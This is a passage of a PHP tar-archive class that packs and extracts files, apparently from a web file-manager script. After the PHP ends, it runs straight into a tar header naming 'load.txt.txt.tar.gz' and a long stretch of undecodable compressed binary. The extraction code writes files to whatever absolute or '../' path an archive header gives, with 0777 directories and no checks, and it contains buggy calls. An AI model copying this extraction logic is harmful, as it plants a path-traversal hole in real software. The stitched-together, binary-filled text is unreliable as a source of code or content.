				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK���Z���


931753.tarnu�[���load.txt.txt.tar.gz000064400000063115150425251240010254 0ustar00��ks#I���l��Ylvh�H�d�5�$��*�2���3$�=e6+�Jg�w&�Nf�ݝN:��k%�jG��ٿP��K.<"�$HV�̮t��.�����������`6ؾ0���l�n6�����&��&�x4�Nf\߿ڮ��O�	��X$�E�@����p,�D���Dc!&�����r�)�ɿ���;�Qxn0����2Tg���v��H��p$!�B�#q�>��M$����]@���ɠϨ�LJ�pH��g,k�,|~��^��߾�{_�~����0MUS����+E`��_�e�gQ>�"%/Uq9�A��MY	�Nę5�[��� K*�1��W��Y��K�|-s+s k����䁴�uJ�^1�N�$���4p�;��ʡ��b���N{�(�xa����J��VU�8y������(}!O�'[(;@Ź��$��-��H��r��TR��v#e����9�XKRO���~`G����5u�H�9���*U�E���i9�4�F�pz��K�� |�t$4D�"7j��Q�pm�_A໼�P�ʩ���ṖSN�yNR8TR}U�i��4YR�,"̥���Zk�t�H�@�9h��ѓ��hP�֌�ִɒ��JS,5`|�F�ܳ���@ot�I���X�4	�J<��d�EE�k��Q+O��)>�>f�-x#(�}�ͥ�%�'���>�d4�8�pߓ����<��QT,D��֊ֳ�k�}�<��[K;ͷ}�+��q����o��ľ�ɢ:�!&�>y.���p��u�&��$)���H&EN�$�[��cW?�5���O4d(Oʸ�����\"V������2]F�g�0���gP��{"�nT� �p�G��iB��ݧo�z%_�Vr���p��2��GJ�̉�e��0}�T]������>�����?~������2���F�#�C�g����HkUd��F�&�}"�����@������"���>�����g>����?��;��?��;�5��/��_���������?����7(�o>�}t��ӏ���O>�A���ߡ6^�����!�e~��Q���פ�Z"���!���_#ȿC�\'��O?�G�W��_�b�U�'�K �_�&P��@i5��+��ߨ��?�9���4A�~�?0�+D�� ����]�#`����l���h�ߡ�	���48�A�G� 
�4IY(�CHM~�2�(��̟C�8e"���"$��2�`�oP�?��u�x��Ŀ�R��YX�����,~�iH��~���c��0���M���Tk 1M��K�7x����@rZ ��B�[i��&c���	����!���s���_c�0����A��~�&�o0*֕*�;�W�ʏ���0t��̪W!r�4����@
�11S/7�-������(]�?�����b�1�(��&�B<�=KP�9&ҿ#m���P�_Y��R8�j$�J��I/��K4�_#��	�Rdj�%�a��;E^����̀3��1�]��A��GX����@*Ul>����B �#�xT�
F�?R����[Ŕz�Ɂ��)�P��.L�_�A��f�K)#R��'a�e�c��1��|<��|�`�Ҩ����}���_��%$*qU̟���3�!�DYS���eO��B:�k*Mm���)�9���;a�Bm,��e�����R���!�+���y��,:�`@ELf2~�֑b9[;�èA�
�WN�Bq�r��#�B[?���E�e�
3);E���A��ˬ��C�2�1;u��l7�:�3^��<��)���r�E{^�Q̭���A
^�((���ᗤ5^[�eF����=�+<KeL<p9����@/�=���_��V�f;2�aԧ�N��,�%�_�rI��j�M(	�?G4�k��0)l��d,�-�_�im����aH��2�,��@!���M���^A��>��Z�D�G�2�r�Wx\���ĐF��O�h�ʭ��׀�uZ2��07���7�j��H�^�a��F�v�
Bkn�)~�N���LRD�Ea[�g��\�_(n��1;���!���\�4��~d��P6#��ʂ O�.�s�\��Z(��R@�[�ۓ�5���I��S��)4r��.Hw}�0��RX4��v�]��~X�X���B<3G����Ţ_8�����!�y��+�
��Y�Ho�6;y2���^�-(Fh7�F���N���6�oO=�w�g�Xʚ���(�K��XչX��r�RF�I��AQD�K�%��rP*�T���Ġ?rI�ݦ�R�*���͡a�[|��߻���#���H����xV�`����n�a�m@�
y��N���N����I�皼`����r�9�l�^�qa�	9�o�����c�e)��a��
���rіij���R����,����-Ќ���T�tUIBK4�N*h��K�t!�����ĵC�Փ�^���k̷>29e�Rt/���N9"Z���`8O*�H꒖�2�m,^��?�g����r
P�n���Д:��{ۤM,~�V�ЮۑQu%Y�Vv-
#Mm�qKs��3�Y�� Uh��em͋����̂<o�3��IA+��������'{xPz�ܒw�k�=q��>�3�#>��d�Q��+�\�n}���ӝv��0�`�aZw`�;`gEA��"�*k����էM�XhuaN���&
+�����P&��n#-_��}Y��j�N�"��=�D(�ؐ%p���Q�OtQ�K���w���$f&�#D[Gݶ��7�H��b#��u���<Uj��M��[I�
�VD*�0h:�~����u*�4��2>L�ZZ�H�٠�N������ed�!)H̑��"8\F�Kk�Ct&��h���3A���Q����|R�d�ےϟ�7�B�>1:�a�1�	|a���8D�b$��4E�|ǘE/�2���T8��bS8,vKC݀q��߻T�,��2�C��z�:�	O�Z�E��$�� ��+UZf �h>�'�u���c �H��dm3Y�%�u!���'�����Std<�԰��?�8e��"Py�Ey�����OD��SSO]�>�w߄��q0���F;�e�C.�z*��Z�QG�ڵt�Af���r5w���S��m<=�bdׁJ�e��Zi�T�o,��� ~|��q}��é��;χ��>�.�GM�߸�"�VZ��eЩ���A��
��n'g�0���.��߅6?>�3�>�7&Fo�@�>�n�x�t����vY�o.
��	Y,��6C��i����`��H����$����SJ�>��P���{�9��	��Oa�Z*~�ՒfCo��\� �h��']���%}A��XS�<������PqA-�x��h�t6��:X�«��5Bэi��M�@_�E� �;fZI~�v6����B
�!�c.sf�T�� �e!�J �MghMј7h��wAk�7�e��t�=م��Q4kK6q�q�vfl��Z�NS�����,ƣ�p�l%��M^��b��ש�e2�H�0�li�4>��%�x��b�i���<�Օ񑐌es�|�HD��D�����*&���d7�5u�v0��P{`����*��&vP�ρ���b6PU��o��̑2i8{`����;��s�B&��
XM_Ŝ1�?4h
ڀ6��4�S{�X�
�(\�?��E�(�f�:���J
-���
�@Px��:.�Ԟ�,|zP6� eG�)��(ߞ��͉���x����rz;��MK��gZ
}Ao�_Л@©7���&r�7���-�k5��B_Л�SoBQ�����ޠR�Z-^RQj�h�GʵD�(Ҁ�M�X�H���� Y����^�M����+*|��#�B��!H��`%�%�H6��h	��0S����r�~v����~B�#��.��W;�_8����G�	{�c���		Z[�i�������#`(kn���IxGl�r�e� ��]�@)04� �M34^�H5�Q�[��F��y�U:^V3(�i�ۮM�>�:��M謋@\Jڈ
��m�3y�6,bT�c�j�\���m+cU�D�'kܪ����y]{��B��,I�;�~��W��o`q�/6����0󓞂��zh��.��;W�~�R}��z<Z�s4�y��Z/�SW����1�0g��p�;e�8��*�JZ_0@<x�e��	�/�,���v{�Aq���sI�$E�0h+��w?ݙ��^�=����1��މ�u�Y*<�z�=s�DܟP`����E���u���QG�J�
H�B{n�f"фIחs���P��PW�$�6�0�@�I����:�T���r�,
ċ��K�֚>��G@�� l�%���ּ7���u��x�
OMc�B=ݖ@᫽�D�ݵy{�"���c6��%��Z�{[�I�Y7��<~�w�L�]vf�y���_�50�^�������9݅���[z-�X7sy��ۯ�!P�;D4��~�2�u�
�G�|^��`��e���)�&�
�#�\�=�7WW��p.u�_��1��Y+�IT�/��a�Gk�_ߏb|�W<-٤2���r6�6�ZYo���q���h	 ]۶VV��>�U�(��Ke�ÛU����3��u�?q����d�X�9�(m�����G_�I#�߇u�f��
n���זᇌ���>���zC�7�5p�X�>�Ɓ�:D�&@!Ce1��c����cf��kh���&	C��A��	�-�Y�N�DI0�����A�:��#��n�1����](J���p1�US7��`B�-C�,FPH�Y��v<��񁉞I��Ov㍅}��}9Y�/1J�
1O�4'Ք�nV��;���3L�3I��Du��5��΀IIJ�∤.��;�EI����~+3kAY^��C�5�w]����n�&��S���X�	%]�Ϥɷ�|�r��&�u�c��}���N��DE��@w���<��8�:�?��	(��+�[���e���n����:��s鮖�Ԓ�uM
�e	�k��X�dۘ���و��A�x��:M���-.AtW�%O��"����)Rx�SF�`�NO�Q�o	��m�Bg03�~�.<<G`_�.��tf?�+���4����/b�+�甁�N��p�fzp�L�]�n��I=l�&���b��Bه�P^����^��O�^����/�W�'>�/�l����o����%U�緰�١t:���zy��$,�~0��H$�A:�X�.ǭto�Cۍ=t��c�8��p"�v����2�HM��	{��eV��=jkg4I�(�X�Ekf?��!���i�)2�~��=�B�8� ���ƞ�A�484nۉ�y�Ą�)#f7AUT�q�ş㣏��1\9�L_�üŌ��"�t��
Z�"L��I��:�'�i�ĸ�k���5�LhNW��A;�*�G����Vn"��,�L���i���9���oZ�ʮW?�-���B֑���mG�B��&�]���RAz�l~n)ogb���q�I�?^��ڗ{*��p1��,��U<�\��u(k&=k<9�w�ὼM�w�E�h0�{�&�k8#ø`��s/-��U���_Pt�LJ�M�E��$!���`�#&T��bv�I������N/����RU�h��9!ʊ��e_��p�C�#m���r��e��9
3JrSPڞ� �MQ����6�D����$a7�{as���A�F�32~W����(P��G� �t��m���L3�~d@��Ÿ�mm!�T0�2����h ���
!'�n2��v.�c�'���Q���QȑҎCU�6*�m�y�lm�$,C,,J�+���g*B%pɠ�o ���mE��C�j�r�l�i��i]�b�[h��.�t�js�l��� DN�������iLSuC�����\C���X<�,���~���bsiR[�S�%��u�m��yp�Ϭ�退�"�R��������o*�|���B���H��X|�2ߨ�)q@��,VD1���ɯ�M��ě�.i؜�ځ��t�;_<ݟ��:��#��'G�gh�������y�4Z��O7-�"��gI���0�]<W����	J�<;���oz��2���.�Q�+�J��R��H>��X["p��{[���;R��0@���U��y	�S���Ɓ�C����ݥۭ����Ԣ��7]���xWN�d裱����1�H��$�㲠�6�*!5�~�T��>�p?�+'��<�+�dY�ą������	�o��ظ��}$|������h.��>�
x���Z{��ޙ&�>�"�����
[f6A"M%`)��4��F`���d����;
�2�ú���e���-_���.�
���c��9�5�K���Zv5�^3O�Jv��9���髞�;�Z�N�g&f�=��I��+����aX��h��%��6lŖ�"er&�`��HL
u�z2���w�p�4���~�;T��Nf�pji���S�������H>�	�?��{�s�[ ��`B���րl���np�1�5^�`fh���
�qp�1���a!sH��}̽�
I�X���}	5ghW��A�Y�c=�f
�C�p
�"�����P�j�h̭{h��γ-�  ��U������\��PAs��5S��	l�[]�����j:;
tZ+��~R�ºQX�OU�Z��*���f�y�Pm-��B�R����ˠ�U6�of��2���7<�~�| 4��Q,��6�p(����zE�K��$����>��~�7gZ8����1��﫡�J�nV(k�
r��V���4�6�8p����J�(��H^�Ȉ��Plp���J�XAO��dQ�V�-��E�~Y����+5T\yo6�A��uw�Y)Y`�fٕj^)�	o�;6�6%>X(���ƊJ-�i삡��AhW�������:��U�-7P���E-ޮ��2_�Ï�1.���hqyX��wE^Lp���L��X����q��oF�❔H�2�Q��n��<���Yh���A�#�j��ܮ�7%Aˏ���!����i�?�W{A���v}u+���|��$P��d�XD�߲�w�]�$!�/�=9�Y�>,��ފMTE6.ݲ������.�حr�~w�*>��հ�Xj�A��nP'�P���n��	6��n{�P-�
�y��X	NF�����^�.�Ty�tR�~'�M�nc�rÉ��4$q�4��ϼ�a9[Bx���@p�x1�uƛA�E��ut����]d����[6�oF��$ �z�|$��)�K-����
��X9���q<��F�zC��2K`��8P�F��~*��bsր^��bi�L
�\6\�{�*��vz��
M*�.�®�.�k��m!B��)f�B(U�dJ%��6�diZ/m��V9;~T5Uz��!�(�L���fB��H�J�]?_��kWA��ʱ�ԣ��&�d��ͬW��O�3û�}���:�l,�7��4��W2�|a��Wr�)��S�"�]��PV���,V�f��R�.��f�ĸ�m��n}��
��F��A>���͑b��R��X7 �{w��&��C��maX�ʽ�8z\��:���h���i�'\A�LJ�~����Hh=�Dk՛�4�Ԅ�7[��JX|V��hC�>�V��+�rb�hפ�x��A�;��J�4_+����099�w����z+	�o�3GY��A�^�%ˏ���3��N`�pc��fV#��n�b[���R�#���0�`���)�wp��S�KVZ�abFks�V�g
��9�����������	�ģu�m�4�7�l׫r�{��uY�8@'�u]>+Go�b��ћ0��G�>ݤ����<����4���S3���d��M6�O;��Tw7r�?�D�vh�G[�'�W���.#�q���r����}v`�����3�5z�����p��h�r؛�PA>���Z�*�{g�x�m`g?z�m���ǡ�oŞ��3�8���n�N�Y({}|<��o�=#1Lێ�=z5M7��2n��֨����a�a����x�pu��S�v��O�PDV�_](�(�~�����3�z=E ��V	�)
,E�J����p�I9�=�T�b�q��l���v}'�z�.��;�ϸ�"��3ȼ���j�߻P"�;���Y�x�H��h���{5���Z�34"���,|s���eJ݅;e|!�Օ��o�å���Ҷى�^&z�A�U�q�p|�r$��e0C/��LU:T��58�Ɉ�3B+�" �M3��m�H��D?e3/�AH"�KVoP낊f
E�q�2��	�5Z"�x���|@[z̴�Q�;T����
\qi�,:����tF�R���9�T�~A�&��/Hԥ��2	%��k�o��$�ܨ
?1V~·.��P�i�cOr�f�g?��HB�v\��L���w��H��!��L;��d[���lh�C*�q�9��*�(��E�a�xExNM�-&N 1(�ɠ��*F��\pG�Nu`z}�P`�j�k�Vi�5c�.����-�4'�z6�$�oj,s�"�pR
���\5���fo�F_���ku�8�$l��L�5�Z
�NC��+fcU0G�����8jzM����{=�֬��X(��}!��`������d!R�9��$�e%xc3��wY�0	e��cL�vl\�9�����,q0����nk��6��ۊCL2�1vm����3�Y���z�^����^�RJ�L�������,n�K�˘̅Q�łm^�_όoe�xvxY}�;�*�x�P���U���ŭ��:�����`fg�V�a��(�eMab��'���F#���+��J�[�	�Ӄ:k�l��S�_��z����v��C�a�0���S������>G��=�z�0u$���%+�z+SP�?Ǒ���p��!Hop����"Vj�Z��`�;�c �d{��:�-V�3�|r�rH�K�|�|4���slK�O0`��"W��-b+0�=��]��i�v�Lj@�ܞc	)f�Po�wu���A�P�����)Ęo/2��K���:D>�Ia�N�@EN��zu����������e޼	�����o�.��.@�s��_$�/Z�e��*^���y�a���
Ue�]���W�#u!��
�<�_� P��v��\֔� ���(���%|�B8���ʂ����9aGuL��`]���t-��d��a�Qo�/PH�wGh//�8J4YB�ҫ�6��|���n3L�Y�@,L�ϸ���q���dN;�+�"ob�~i~�&d���ӯEv��J=],�hӤHcp>�m:��kXz�3=N����bc����ߩ�_�3F�>����Y)d����N�8��*��6'�m� ��%u�Ť;,�\-���w~�v�.��NM�$�)�u�kj���1�EK��5��~!�j�aK�̒8�a��8�p���-���MZ����e#��0Q�t�qcm+����4�}mG�������}�-Z"���Zc��k]��5m֧��qz�p&�E��@f�n�'��߷�0���t�Z�kI�=�������ބ$�9����r��0�����Xz����
*b
,�<r�J�"����z�?�3m]];�>ۙ}B4-h�Jt�]6#�ѧ�&�^�b�c_.��}!��	b����Ҙ���K��K��_����M��i���0%���9(zcYC�N]%�Ya-���KW�1T3�	��#�"C�1�',�j��>&t�p��1᫛���ݢ���M��cbW����9�/�j�t�Z�K��[��쐞��)+�����㜲cz�l׳g�`��%��E�4�H8��DP4	�rh�1�.Xw��ҝթ��h��2KY|γ6�:0
2���H�z��x�;��{D�Z�`�:af����	,LMm ��bz���8�?v2�t����Wx��P�����HP ��P��b���E0��V�V8ڗ���Ǣ�uK<3�%���o��2��3�o}�̖Jb�d��9�\$�%
��!yP���\0?�sG� �Nf~��N�f�5�;sخ1 )�h�O� ��tu�4C{���uA����~h�
�%T�z�@��'`�?��������0�Ɔ�ʼn�z���9x0����؂�TxI�V�v�7h��ŕV#�G�Lr��`�M]/�n����m7]������x�|.�}B��v�N=�����4���7*uT�y�\��ld��+�m��T>[I�P%��r
�U��jZ��KFz˚Ulw�\߸Ea�z�)��y��;�����{N�����*A���B��ƕ�>�COsY�`�B[��|e�Vw��5�v}��V7�:]{��P΂.��-'���ӯ��Nϲȡ����AS��
����Jl4��t�Ny�2TBK�X���վ���ywm1V���Pm��\H�K�����p��w�6�89y��\
?܉��D�p�Ĝ�A�I��� _��d�P�OC,i�G��G�X2y�/p���"P��g�7�5�Śu�X��u��
,��_Zc,U��J8�|�9�E0��z��{eE��/׳��������y��o*�j��cl&-��~9�)�_�[*as��5�
�V�[��
�(�u�A}п֯�@q��:��tH3�ĵ�q^0h6�3�#�
��?k�б��F#܈[���
���Q-��>�� �a��c�z�J�k��>.��Vv�\�Pł@Z\,UA���kU[�@
㲤i�-��)�$�W�*BN�}�/�7�20�9h&�~{�~��ca&���X��h+,$#�,.�k?D��h��O�E�@���Zv�_&��.��CZ=�f�V20��Y���R��}u2�{�V�R���\1��7��&��\D�h
iXX���CM�T
�\���l39~�T�m�0od��B��PWj%����f�!��|'TYn�r'���۪(�#w����I�,�
ww7ELDC��hY�U&��z*�*U����Pj�q"ߊ(�A���<�W*��:-ךS6�X�ܬ�7���+��U�����J��/+���=;b���6��j�ʼ����Z�R�4��Ͷ�C[(o����ݪwK��ҬH�V�[zg�J���>h�J�:�j�bE�e��ri�ʯ�������jT�fw�D&ZI��J��P�ەn-\y�����RY=���.�*�l��nOR�J;WFu[	m�H��Fz�G��ډA.͖��Z-8�w�u��n�w�q&T�<�w��`��ʭ|�����Db�F��mf�W+�&�<F҂O��X��%���h���4��F�^a7m��R��vk�i��ī|Ub�m-���w��j�T�e�}��*|���lj住$n��m�+���m4���Ҽw�\F���V�lP��E��2��ՇvcrWj�Wo6��8
�;��4�~X���(��g��.ˎ�I����Dok|!l��hc�O��)T���u�-0Ln#RB���i�"�xo�n����Eit�M��|%2�W*7��,q_�TV�UK�G��0�M�lAY=��R��r�L�r��l�Z�#N�"K�S�v�j��櫭ڴR]O��ŴZcǫ��=<�k�u�V��*����<�eT�5�U����Fe�z�f嶜�W"��v�o��:�[���NwR�e��Ie�/��e��TUm�٬Vw��]�=o����C���V��v�MV��+����������up��q�`��p�6�c�ݚ��B�[��U��g[�j�)�g�;>q�?3s!#ߔF!^Yf���M�Ox3��h�^��ӛƬ^��TM̯�Z9����P��uT��,%���(�[�*�|���W�l��k�o�R��Z��2�ƂH���u�0��A�A��y�Tڴ���ݭ��6�D�;����M#5������!��T��q���5��V`͵�[�_�*��&8��L��]	aҾ�rJ���l[��:���2�󑂷��^?��F��f�ڮ�P-�i� �x��A�')#��%�3,��1�w.��r�[�Ǻ˷v�;�f���`}�вѴ����a/�U�b���b4J�׷�qd�u��Y�2/��Z����R9��`f�����R�G�a���Kj/�,�wj�bG���ք;�~�/(��TL�Ŷ�w���¶\|�l�����b��Ă��BH�c�}��`���G�liۺ��G�d��l��"�>�V��cY�����G�U��� ܧBw�PG��l(�NC��܈f���cP���By���D�c��8�_q\���%±Nx�v�v�+���\��|�i���H�~`)�� .+���� ��W�hu๻��a��r�+$�|X�wz�r�&/5֗c�?��xr���J�E�8�8�-e��q���m8�c����%�F۪$>N׫�8_Ϧ�E7��%���<U�Ċk�u)岃E#�'��M�t�iq����6
